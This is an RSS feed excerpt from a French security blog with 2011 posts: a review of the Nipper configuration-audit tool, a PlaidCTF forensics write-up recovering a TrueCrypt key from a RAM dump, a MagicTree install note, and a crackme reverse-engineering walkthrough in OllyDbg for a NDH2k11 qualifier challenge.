		<category><![CDATA[audit checkpoint]]></category>
		<category><![CDATA[audit cisco]]></category>
		<category><![CDATA[audit de configuration]]></category>
		<category><![CDATA[audit juniper]]></category>
		<category><![CDATA[Nipper]]></category>
		<category><![CDATA[reporting pentest]]></category>
		<category><![CDATA[titania-security]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2341</guid>
		<description><![CDATA[Hello all, Tout d&#8217;abord désolé de ne pas avoir posté d&#8217;article depuis un bout de temps. Entre mon déménagement, le temps d&#8217;attente pour la récupération du net, le boulot, les conférences SSTIC, Hack In Paris, NDH2K11, et s&#8217;occuper de la petite, ca ne laisse pas beaucoup de temps. En tout cas, cela fait extrèmement du [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper.png"><img class="aligncenter size-full wp-image-2342" title="Nipper" src="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper.png" alt="" width="530" height="185" /></a></p>
<p>Hello all,</p>
<p style="text-align: justify;">Tout d&#8217;abord désolé de ne pas avoir posté d&#8217;article depuis un bout de temps. Entre mon déménagement, le temps d&#8217;attente pour la récupération du net, le boulot, les conférences <a href="http://www.sstic.org/">SSTIC</a>, <a href="http://www.hackinparis.com/">Hack In Paris</a>, <a href="http://www.nuitduhack.com/">NDH2K11</a>, et s&#8217;occuper de la petite, ca ne laisse pas beaucoup de temps.</p>
<p style="text-align: justify;">En tout cas, cela fait extrèmement du bien de retrouver le net ! surtout avec 17 mégas, ça le fait !</p>
<p style="text-align: justify;">J&#8217;ai reçu pas mal de mails depuis quelques temps concernant mon boulot. Pour information, non je ne travaille pas chez Bull, mais c&#8217;est mon pote Romain qui poste de temps en temps sur ce blog. Pour ma part, après avoir fais un petit détour à l&#8217;<a href="http://esec.fr.sogeti.com/">ESEC Sogeti</a> dans l&#8217;équipe pentest, je me suis dirigé chez <a href="http://www.telindus.fr/">Telindus</a> dans l&#8217;équipe SRC (Security Research Center) ou j&#8217;effectue des tests d&#8217;intrusion (TI, TIE, audit de conf, un peu de R&amp;D, etc.).</p>
<p style="text-align: justify;">Seconde petite précision, non,  je ne suis pas nico34 de <a href="http://www.zenk-security.com/">zenk-security</a> <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p style="text-align: justify;">Tiens, en parlant de <a href="http://blog.zenk-security.com/">zenk</a>, j&#8217;ai pu revoir certains membres IRL lors de la NDH2k11. On a d&#8217;ailleurs participé au CTF mais,  malheureusement, le challenge a été annulé vers 1h00 du matin à cause de différents problèmes techniques. Nous étions assez dégoutés mais on se met à la place du staff pour qui, la déception a été énorme !</p>
<p style="text-align: justify;">Aller, on se remet en jambe avec un soft qu&#8217;on utilise de temps en temps au taff, à savoir <a href="https://www.titania-security.com/nipper/overview">Nipper</a>.</p>
<p>Cet outil a été développé par <a href="https://www.titania-security.com/about">titania-security</a> et permet d&#8217;auditer la configuration de plusieurs équipements tels :</p>
<ul>
<li>Check Pont VPN-1/Firewall-1 ;</li>
<li>Cisco Routers (IOS) ;</li>
<li>Crossbeam Firewalls ;</li>
<li>Juniper NetScreen Firewalls ;</li>
<li>Nokia IP Firewalls ;</li>
<li>WatchGuard X Core/Edge ;</li>
<li>SonicWALL Firewall (SonicOS) ;</li>
<li>etc.</li>
</ul>
<p>Vous pouvez consulter la liste complète<a href="https://www.titania-security.com/nipper/supporteddevices"> ici</a>.</p>
<p style="text-align: justify;">L&#8217;interface est assez intuitive, il suffit simplement de charger le fichier de configuration et de lancer l&#8217;analyse. La nouvelle version de Nipper detècte automatiquement l&#8217;équipement en fonction du/des fichier(s) importé(s). Voici un exemple avec l&#8217;importation d&#8217;un fichier de conf Juniper :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper1.png"><img class="aligncenter size-full wp-image-2343" title="Nipper1" src="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper1.png" alt="" width="591" height="454" /></a></p>
<p style="text-align: justify;">Quelques &laquo;&nbsp;next&nbsp;&raquo; suivants, un rapport automatisé est généré. Ce dernier contient l&#8217;ensemble des problématiques de sécurité détectées sur votre conf. On peut y retrouver différents thèmes tels :</p>
<ul>
<li>Les règles du pare-feu trop permissives ;</li>
<li>Les fonctionnalités IDS non implémentées ;</li>
<li>Le port AUX non désactivé ;</li>
<li>Des noms de communautés SNMP trop faibles ;</li>
<li>L&#8217;utilisation des comptes par défaut ;</li>
<li>Etc.</li>
</ul>
<p style="text-align: justify;">Le rapport indique pour chaque problématique, son niveau de criticité ainsi que  la difficulté de correction. Ces informations sont très utiles afin de prioriser et d&#8217;organiser un plan d&#8217;action pour corriger les multiples défauts de sécurité détectés.</p>
<p style="text-align: justify;">Le rapport indique également (ce qui est assez utile) les commandes permettant de corriger le problème. Pour exemple, sur la thématique des comptes et mots de passe par défaut, Nipper inclus dans la partie &laquo;&nbsp;recommandation&nbsp;&raquo;, les différentes commandes pour changer le nom d&#8217;un compte ainsi que le mot de passe, ex  :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper_audit.png"><img class="aligncenter size-full wp-image-2345" title="Nipper_audit" src="http://www.lestutosdenico.com/wp-content/uploads/2011/07/Nipper_audit.png" alt="" width="694" height="765" /></a></p>
<p>Également, se trouve à la fin du rapport un récapitulatif d&#8217;informations utiles à savoir : les interfaces réseaux, les vlans, les zones, les objets, etc.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/07/nipper3.png"><img class="aligncenter size-full wp-image-2346" title="nipper3" src="http://www.lestutosdenico.com/wp-content/uploads/2011/07/nipper3.png" alt="" width="670" height="652" /></a></p>
<p style="text-align: justify;">Pour finir, bien que l&#8217;outil soit plutôt bien fait, j&#8217;ai constaté un bug assez gênant (remonté à l&#8217;éditeur).</p>
<p style="text-align: justify;">Lors de l&#8217;analyse d&#8217;une configuration Juniper NetScreen,  j&#8217;ai remarqué que Nipper effectue une analyse des règles du pare-feu en fonction de leur identifiant (<strong>ID</strong>) alors que Juniper, analyse les règles ligne par ligne. Concrètement, cela signifie que si une règle ayant l&#8217;<strong>ID 10</strong> est en première position et que la règle suivante contient l&#8217;<strong>ID 2</strong>, Nipper va ranger de la manière suivante :</p>
<ol>
<li><span style="color: #008000;">Règle ID 2 ;</span></li>
<li><span style="color: #008000;">Règle ID 10.</span></li>
</ol>
<p>Tandis que sur Juniper, on aura cet ordre :</p>
<ol>
<li><span style="color: #008000;">Règle ID 10 ;</span></li>
<li><span style="color: #008000;">Règle ID 2.</span></li>
</ol>
<p>Ce défaut est un vrai problème car le rapport va potentiellement incorporer des faux-positifs.</p>
<p>J&#8217;attends donc un retour de leur part afin de savoir si le bug sera corrigé rapidement.</p>
<p><span style="color: #ff6600;"><strong>Téléchargement &amp; Installation</strong></span></p>
<p><a href="https://www.titania-security.com/downloads">https://www.titania-security.com/downloads</a></p>
<p>Il est nécessaire de s&#8217;enregistrer pour pouvoir récupérer une licence d&#8217;essai (outil <a href="https://www.titania-security.com/store/nipper">payant</a>).</p>
<p>Nipper est disponible sur les systèmes d’exploitation suivants : <span style="color: #008000;">Windows, Mac OS X, Ubuntu GNU/Linux, Fedora GNU/Linux et CentOS GNU/Linux</span>.</p>
<p><strong><span style="color: #ff6600;">Documentation</span></strong></p>
<p style="text-align: justify;">Titania-security a fait les choses bien côté documentation. En effet, est disponible sur leur site, plusieurs procédures montrant la façon d&#8217;extraire les fichiers de configuration sur différents équipements (très utile lorsque l&#8217;on ne connait pas trop le produit).</p>
<p style="text-align: justify;">Ces docs sont disponibles à l&#8217;endroit suivant : <a href="https://www.titania-security.com/support/documentation">https://www.titania-security.com/support/documentation</a>. N&#8217;hésitez surtout pas à les consulter.</p>
<p style="text-align: justify;">Bonnes vacances à tous et à très vite pour la découverte d&#8217;un nouvel outil <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>

<p><a href="http://feedads.g.doubleclick.net/~a/RKbKZQ6JFFtV7Of_8Y4DwkFR-4M/0/da"><img src="http://feedads.g.doubleclick.net/~a/RKbKZQ6JFFtV7Of_8Y4DwkFR-4M/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/RKbKZQ6JFFtV7Of_8Y4DwkFR-4M/1/da"><img src="http://feedads.g.doubleclick.net/~a/RKbKZQ6JFFtV7Of_8Y4DwkFR-4M/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/XJ3obH7yC9g" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/outils/nipper-audit-de-configuration/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/outils/nipper-audit-de-configuration</feedburner:origLink></item>
		<item>
		<title>[Write-Up] Fun with firewire – PlaidCTF</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/fTakQu4DU1k/write-up-fun-with-firewire-plaidctf</link>
		<comments>http://www.lestutosdenico.com/tutos-de-nico/write-up-fun-with-firewire-plaidctf#comments</comments>
		<pubDate>Sun, 24 Apr 2011 22:56:01 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Tutos de Nico]]></category>
		<category><![CDATA[Challenge Sécurité]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[pCTF 2011]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2291</guid>
		<description><![CDATA[Ce week-end, j&#8217;ai participé avec la team Zenk-Security au pCTF 2011 organisé par la team PPP. Les épreuves étaient vraiment très intéressante et malgré notre 32ème place, nous avons pu nous confronter à des équipes du monde entier. Je tiens à féliciter les 3 premières équipes à savoir : 1. Hacking For Soju 6864 (Team [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/pctf2011.png"><img class="aligncenter size-full wp-image-2292" title="pctf2011" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/pctf2011.png" alt="" width="530" height="185" /></a><br />
Ce week-end, j&#8217;ai participé avec la team <a href="http://www.zenk-security.com/">Zenk-Security</a> au <a href="http://www.plaidctf.com/">pCTF 2011</a> organisé par la <a href="http://ppp.cylab.cmu.edu/wordpress/">team PPP</a>.</p>
<p style="text-align: justify;">Les épreuves étaient vraiment très intéressante et malgré notre<strong> <a href="http://www.plaidctf.com/scoreboard">32ème place</a></strong>, nous avons pu nous confronter à des équipes du monde entier. Je tiens à féliciter les 3 premières équipes à savoir :</p>
<p style="text-align: justify;"><strong>1.</strong> Hacking For Soju 6864 (Team Suédoise) ;<br />
<strong>2.</strong> C.o.P 6543 (Team Française) ;<br />
<strong>3.</strong> SSH 6230 (Team Russe).</p>
<p style="text-align: justify;">La présentation des épreuves était sympathique, avec un plan de la tour AED. Jugez par vous-même :</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/prez_pCTF.png"><img class="aligncenter size-full wp-image-2300" title="prez_pCTF" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/prez_pCTF.png" alt="" width="671" height="524" /></a></p>
<p style="text-align: justify;">Sur les <strong>38 épreuves</strong> disponibles, nous en avons réussi&#8230; seulement 10&#8230;</p>
<p>Voici la résolution de l&#8217;épreuve forensique <strong>9</strong> intitulée &laquo;&nbsp;<strong>Fun with firewire</strong>&laquo;&nbsp;.</p>
<h2><span style="color: #ff6600;">Description</span></h2>
<p><strong>Category: forensics</strong></p>
<p><span style="color: #008000;"> All of the machines at the AED office are encrypted using the amazing Truecrypt software.</span><br />
<span style="color: #008000;"> When we grabbed one of their USB sticks from a computer, we also grabbed the memory using the Firewire port.</span></p>
<p><span style="color: #008000;"> Recover the key using the truecrypt image and the memory dump.</span></p>
<p>Nous avions à télécharger l&#8217;archive suivante : <a href="http://www.plaidctf.com/chals/81d9467f812d2fbb32e9d4b915cccfe457245f25.tar.bz2">http://www.plaidctf.com/chals/81d9467f812d2fbb32e9d4b915cccfe457245f25.tar.bz2</a></p>
<p>Cette dernière contenait deux fichiers :</p>
<ul>
<li> physmem.bin (dump physique de la RAM) ;</li>
<li>ppp.challenge.vol (volume truecrypt).</li>
</ul>
<p>On utilise l&#8217;outil &laquo;&nbsp;<a href="http://www.lostpassword.com/kit-forensic.htm">passware</a>&nbsp;&raquo; permettant de déchiffrer le volume truecrypt via le dump de la RAM :</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/tc01.png"></a><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/passware.png"></a><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/passware1.png"><img class="aligncenter size-full wp-image-2298" title="passware" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/passware1.png" alt="" width="653" height="245" /></a></p>
<p>En effectuant une recherche des strings dans le fichier de sorti, nous avons obtenu le flag <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/pctf_flag1.png"><img class="aligncenter size-full wp-image-2299" title="pctf_flag1" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/pctf_flag1.png" alt="" width="654" height="454" /></a></p>
<p>Simple, mais efficace :p (surtout pour <strong>500 points</strong>).</p>
<h2><span style="color: #ff6600;">Repository</span></h2>
<p><a href="http://repo.shell-storm.org/CTF/PlaidCTF-2011/">http://repo.shell-storm.org/CTF/PlaidCTF-2011/</a><br />
<a href="http://stalkr.net/files/pctf/2011/">http://stalkr.net/files/pctf/2011/</a></p>
<h2><span style="color: #ff6600;">Liste Writeups</span></h2>
<p><a href="http://www.shp-box.fr/blog/385">Writeup SHP &#8211; épreuve : SHA1 is fun</a><br />
<a href="http://www.hydraze.org/2011/04/plaidctf-write-up-%E2%80%93-23-%E2%80%93-exploit-me-p-francais/">Writeup Hydraze &#8211; épreuve : Exploit Me :p</a><br />
<a href="http://blog.nibbles.fr/2443">Writeup Nibbles &#8211; épreuve : Plain sight</a><br />
<a href="http://www.rajatswarup.com/blog/2011/04/25/plaid-ctf-2011-writeup-16/">Writeup RajatSwarup &#8211; épreuve : Plain sight</a><br />
<a href="http://blog.stalkr.net/2011/04/pctf-2011-32-thats-no-bluetooth.html">Writeup StalkR &#8211; épreuve : That&#8217;s no bluetooth</a><br />
<a href="http://blog.nibbles.fr/2450">Writeup Nibbles &#8211; épreuves : Sticky Note, Family Photo! et Crossword Masters</a><br />
<a href="http://howto.shell-storm.org/files/howto-9.php">Writeup Jonathan Salwan &#8211; épreuve : Another small bug</a><br />
<a href="http://auntitled.blogspot.com/2011/04/plaid-ctf-201119-another-small-bug.html">Writeup auntitled &#8211; épreuve : Another small bug</a><br />
<a href="http://howto.shell-storm.org/files/howto-10.php">Writeup 0vercl0k &amp; Jonathan Salwan &#8211; épreuve : Calculator</a><br />
<a href="http://5mins.wordpress.com/2011/04/25/plaidctf-django-challenge-writeup-web-300/">Writeup abs|Zer0| &#8211; épreuve : Django&#8230;really?</a><br />
<a href="http://binholic.blogspot.com/2011/04/plaid-parliament-of-pawning-ctf-cpp1-in.html">Writeup m_101 &#8211; épreuve : C++5x</a><br />
<a href="http://auntitled.blogspot.com/2011/04/plaid-ctf-2011-hashcalc1-writeup.html">Writeup auntitled &#8211; épreuve : hashcalc1</a><br />
<a href="http://de-eindbazen.blogspot.com/2011/04/pctf-2011-mission-6-fun-with-numb3rs.html">Writeup eindbazen &#8211; épreuve : Fun with Numb3rs</a><br />
<a href="http://auntitled.blogspot.com/2011/04/plaid-ctf-2011-hashcalc2-writeup.html">Writeup auntitled &#8211; épreuve : hashcalc2<br />
</a><a href="http://www.limited-entropy.com/docs/pctf/writeup/rev250/reversing250.txt">Writeup Eloi Sanfèlix &#8211; épreuve : The App Store!</a><a href="http://auntitled.blogspot.com/2011/04/plaid-ctf-2011-hashcalc2-writeup.html"><br />
</a><a href="http://www.limited-entropy.com/docs/pctf/writeup/rev350/reversing350.txt">Writeup Eloi Sanfèlix &#8211; épreuve : ECE&#8217;s revenge</a><br />
<a href="http://www.painsec.com/?p=88">Writeup PenSec &#8211; épreuve : Chiptunes?… Crickets?</a><br />
<a href="http://www.painsec.com/?p=130">Writeup PenSec &#8211; épreuve : Key leak</a><br />
<a href="http://www.pentsec.com/2011/04/writeup-we-play-cards-plaid-ctf-2011.html">Writeup PentSec &#8211; épreuve : We play cards</a><br />
<a href="http://leetmore.ctf.su/wp/plaidctf-2011-25-pc-rogue-600/">Writeup Leet More -épreuve : PC Rogue</a></p>
<p>&nbsp;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/0N-l6FLffGZ6RhNpRBEcqoJ2HTE/0/da"><img src="http://feedads.g.doubleclick.net/~a/0N-l6FLffGZ6RhNpRBEcqoJ2HTE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/0N-l6FLffGZ6RhNpRBEcqoJ2HTE/1/da"><img src="http://feedads.g.doubleclick.net/~a/0N-l6FLffGZ6RhNpRBEcqoJ2HTE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/fTakQu4DU1k" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/tutos-de-nico/write-up-fun-with-firewire-plaidctf/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/tutos-de-nico/write-up-fun-with-firewire-plaidctf</feedburner:origLink></item>
		<item>
		<title>MagicTree, consolider et rapporter les données d’un pentest</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/bKJglP8FSF0/magictree-consolider-rapporter-donnees-pentest</link>
		<comments>http://www.lestutosdenico.com/pentest/magictree-consolider-rapporter-donnees-pentest#comments</comments>
		<pubDate>Mon, 11 Apr 2011 07:00:04 +0000</pubDate>
		<dc:creator>Romain</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Consolidation]]></category>
		<category><![CDATA[Données]]></category>
		<category><![CDATA[MagicTree]]></category>
		<category><![CDATA[Rapports]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=1946</guid>
		<description><![CDATA[MagicTree (Gremwell) est un outil permettant de consolider les données d&#8217;un pentest et générer de beaux rapports que les clients apprécient par dessus tout. Il est développé en Java et voici quelques unes de ses fonctionnalités : Créer automatiquement  des noeuds à partir de plages d&#8217;adresses réseaux ; Glisser/déposer des objets de l&#8217;arbre ; Exécution [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1949" title="arbre_magique_pas_spitfire_fev07" src="http://www.lestutosdenico.com/wp-content/uploads/2011/01/arbre_magique_pas_spitfire_fev07.jpg" alt="" width="530" height="185" /></p>
<p style="text-align: justify;">MagicTree (<a href="http://www.gremwell.com/">Gremwell</a>) est un outil permettant de consolider les données d&#8217;un pentest et générer de beaux rapports que les clients apprécient par dessus tout. Il est développé en Java et voici quelques unes de ses fonctionnalités :</p>
<ul>
<li>Créer automatiquement  des noeuds à partir de plages d&#8217;adresses réseaux ;</li>
<li>Glisser/déposer des objets de l&#8217;arbre ;</li>
<li>Exécution de commandes <a title="Nmap" href="http://www.lestutosdenico.com/news/nmap-v5-20">Nmap</a>, <a title="Nikto" href="http://www.lestutosdenico.com/tutos-de-nico/nikto">Nikto </a>&#8230; directement depuis MagicTree ;</li>
<li>Importer des résultats d&#8217;autres outils comme <a title="Nessus" href="http://www.lestutosdenico.com/outils/nessus-scanner-de-reseaux">Nessus</a> ;</li>
<li>Classement des résultats par criticité ;</li>
<li>Générer des rapports en .odt, .docx.</li>
<li>etc&#8230;</li>
</ul>
<p><strong><span style="color: #ff6600;">Téléchargement &amp; Installation</span></strong></p>
<p><span style="color: #ff6600;"><a href="http://www.gremwell.com/download"><span style="color: #3366ff;">http://www.gremwell.com/download</span></a></span><strong><span style="color: #ff6600;"><br />
</span></strong></p>
<p><strong><span style="color: #008000;">Windows</span></strong></p>
<p>Il s&#8217;agit d&#8217;un simple fichier .jar donc il suffit de l&#8217;exécuter en ayant préalablement installé <a title="Java" href="http://www.java.com/fr/download/chrome.jsp?locale=fr&amp;host=www.java.com">Java</a>.</p>
<p><span style="color: #008000;"><strong>Linux</strong></span></p>
<p><span style="color: #008000;">$ mkdir -p /pentest/magictree/<br />
$ cd /pentest/magictree/<br />
$ wget http://www.gremwell.com/snapshots/1492.bd2cf0ecad8504a3c0fa900874a777fe/MagicTree-1492.jar<br />
$ java -jar MagicTree-1492.jar</span></p>
<p><span style="color: #ff6600;"><strong>Utilisation</strong></span></p>
<p>Rien ne vaut une petite vidéo pour voir un peu comment ça fonctionne (Anglais):</p>
<p><object style="height: 390px; width: 640px;" width="640" height="390"><param name="movie" value="http://www.youtube.com/v/uPbYyhSzcaQ?version=3" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed type="application/x-shockwave-flash" width="640" height="390" src="http://www.youtube.com/v/uPbYyhSzcaQ?version=3" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>

<p><a href="http://feedads.g.doubleclick.net/~a/1byOmpFGcu2kzsAjvR5IA6UMpt4/0/da"><img src="http://feedads.g.doubleclick.net/~a/1byOmpFGcu2kzsAjvR5IA6UMpt4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/1byOmpFGcu2kzsAjvR5IA6UMpt4/1/da"><img src="http://feedads.g.doubleclick.net/~a/1byOmpFGcu2kzsAjvR5IA6UMpt4/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/LesTutosDeNico/~4/bKJglP8FSF0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.lestutosdenico.com/pentest/magictree-consolider-rapporter-donnees-pentest/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.lestutosdenico.com/pentest/magictree-consolider-rapporter-donnees-pentest</feedburner:origLink></item>
		<item>
		<title>Writeup RCE100 préqualifications NDH 2k11</title>
		<link>http://feedproxy.google.com/~r/LesTutosDeNico/~3/jyjzmowdfck/writeup-rce100-prequalifications-ndh-2k11</link>
		<comments>http://www.lestutosdenico.com/evenements/writeup-rce100-prequalifications-ndh-2k11#comments</comments>
		<pubDate>Wed, 06 Apr 2011 21:37:48 +0000</pubDate>
		<dc:creator>Nico</dc:creator>
				<category><![CDATA[Evènements]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Ndh]]></category>
		<category><![CDATA[NDH2k11]]></category>
		<category><![CDATA[RCE100]]></category>
		<category><![CDATA[Writeup CTF]]></category>

		<guid isPermaLink="false">http://www.lestutosdenico.com/?p=2255</guid>
		<description><![CDATA[Article écrit par Le_MaLaDe. Merci à lui Dans cette épreuve, nous avons un simple crackme avec un code à rentrer nous indiquant si le mot de passe inséré est bon ou non. Ouvrons donc ce crackme au moyen d&#8217;un debugger, ici OllyDbg. On remarque très vite que le binaire est packé. On le voit quand [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE100ban.png"><img class="aligncenter size-full wp-image-2256" title="RCE100ban" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/RCE100ban.png" alt="" width="530" height="185" /></a></p>
<p><strong>Article écrit par Le_MaLaDe. Merci à lui <img src='http://www.lestutosdenico.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
</strong></p>
<p style="text-align: justify;">Dans cette épreuve, nous avons un simple <strong><a href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/RCE/RCE100/rce100.zip">crackme</a> </strong>avec un code à rentrer nous indiquant si le mot de passe inséré est bon ou non.</p>
<p>Ouvrons donc ce crackme au moyen d&#8217;un debugger, ici <a href="http://www.ollydbg.de/">OllyDbg</a>.</p>
<p>On remarque très vite que le binaire est packé. On le voit quand on arrive en <span style="color: #ff0000;"><strong><em>00466D90</em></strong></span> au début du programme.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran01a.png"><img class="aligncenter size-full wp-image-2257" title="ecran01a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran01a.png" alt="" width="472" height="392" /></a></p>
<p>On entre dans une routine de décompression (fin en <strong><span style="color: #ff0000;"><em>00466F1B</em></span></strong>).</p>
<p style="text-align: justify;">On pose donc un breakpoint en <strong>sélectionnant la ligne</strong> et en appuyant sur<strong> F2</strong>. On lance le soft pour le laisser se décompresser en appuyant sur  <strong>F9</strong>. OllyDbg s&#8217;arrête donc à la fin de la décompression et nous redirige  vers le début du soft.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran02a.png"><img class="aligncenter size-full wp-image-2258" title="ecran02a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran02a.png" alt="" width="425" height="548" /></a></p>
<p>Il suffit ensuite d&#8217;avancer dans le programme pas à pas en appuyant sur la touche <strong>F8</strong>. Arrivé en <strong><span style="color: #ff0000;"><em>0041E48A</em></span></strong>, nous sommes en <strong>zone de données</strong>.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran03a.png"><img class="aligncenter size-full wp-image-2259" title="ecran03a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran03a.png" alt="" width="495" height="410" /></a></p>
<p>Pour avoir le code lisible il suffit de faire un <strong>clic-droit</strong>, puis<strong> <em>Analysis</em></strong>, et <strong><em>Analyse code</em></strong>.</p>
<p><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran04a.png"><img class="aligncenter size-full wp-image-2260" title="ecran04a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran04a.png" alt="" width="645" height="556" /></a></p>
<p style="text-align: justify;">Partons maintenant à la recherche de la routine de vérification du code  ou quelque chose qui pourrait nous intéresser. Un <strong>clic-droit</strong>, <strong><em>Search for</em></strong>, <strong><em>All referenced strings</em></strong> pour avoir des indices. Nous ne pouvons pas chercher de texte sur le  bon message comme il s&#8217;agit d&#8217;une image. On voit tout de même le texte  du bouton<strong> <em>Login</em></strong> et <strong><em>Quit</em></strong>. Si on <strong>double-clique </strong>sur <strong><em>Login</em></strong> on arrive en <strong><span style="color: #ff0000;"><em>0041EE48</em></span></strong>.<br />
On descend rien de spécial&#8230; On remonte, on tombe sur un <strong><em>PostQuitMessage</em></strong>, on remonte un peu et on tombe sur quelque chose d&#8217;intéressant !</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran05a.png"><img class="aligncenter size-full wp-image-2261" title="ecran05a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran05a.png" alt="" width="582" height="325" /></a></p>
<p style="text-align: justify;">De l&#8217;<a href="http://www.gladir.com/LEXIQUE/ASM/imul.htm">imul</a>, du <a href="http://www.gladir.com/LEXIQUE/ASM/sub.htm">sub</a>, il pourrait bien s&#8217;agir d&#8217;une routine de calcul ! On pose donc un <strong>breakpoint</strong> en <strong><span style="color: #ff0000;"><em>0041EC50</em></span></strong>, on lance le soft mais ça s&#8217;arrête de suite&#8230; Par contre si on pose un point d&#8217;arrêt à la fonction juste en-dessous en <strong><span style="color: #ff0000;"><em>0041ECB0</em></span></strong> on s&#8217;arrête bien quand on valide.<br />
Le soft va donc récupérer le code, et on voit ensuite qu&#8217;on fait bien appel à notre fonction en <strong><span style="color: #ff0000;"><em>0041EC50</em></span></strong>, celle-ci hashe notre code entré, et le compare à <strong><span style="color: #ff0000;">0xC4B1801C</span></strong>, si c&#8217;est égal, on affiche le bon message.</p>
<p style="text-align: justify;"><a href="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran06a.png"><img class="aligncenter size-full wp-image-2262" title="ecran06a" src="http://www.lestutosdenico.com/wp-content/uploads/2011/04/ecran06a.png" alt="" width="565" height="183" /></a></p>
<p>Nous allons donc recoder la fonction de hash pour comparer le code à ce qu&#8217;il faut obtenir, à savoir <strong><span style="color: #ff0000;">0xC4B1801C</span></strong>.<br />
Comme il s&#8217;agit d&#8217;une fonction de hash, elle n&#8217;est donc pas réversible  (des multiplications en fonction des caractères saisis&#8230;), il faudra  donc brute-forcer, c&#8217;est-à-dire tester toutes les possibilités jusqu&#8217;à  ce que ça corresponde au code.<br />
En gros, la routine initialise<strong><span style="color: #ff0000;"> ESI</span></strong> à <strong><span style="color: #ff0000;">0xDEADBEEF</span></strong>, et débute une boucle.</p>
<p><strong>Début de la boucle</strong> en prenant chaque caractère dans <span style="color: #ff0000;"><strong>EAX</strong></span></p>
<p><span style="color: #008000;">ESI = ESI * 0&#215;38271606</span><br />
<span style="color: #008000;"> EAX = EAX * 0X5B86AFFE</span><br />
<span style="color: #008000;"> EAX = EAX &#8211; ESI</span><br />
<span style="color: #008000;"> ESI = EAX</span><br />
<strong>Fin de la boucle</strong><br />
<span style="color: #008000;">EAX = ESI</span></p>
<p>Voici le code python qui nous génèrera tout ça : <a href="http://www.lestutosdenico.com/CTF/NDH2K11/RCE100py.txt">Lien_Code_RCE100</a></p>
<p>Il est possible d&#8217;utiliser les librairies de python pour faire le brute-force, mais le but était de montrer l&#8217;algo.<br />
Une fois lancé, on patiente&#8230; et on obtient <span style="color: #ff0000;"><strong>pWn3D</strong></span>.</p>
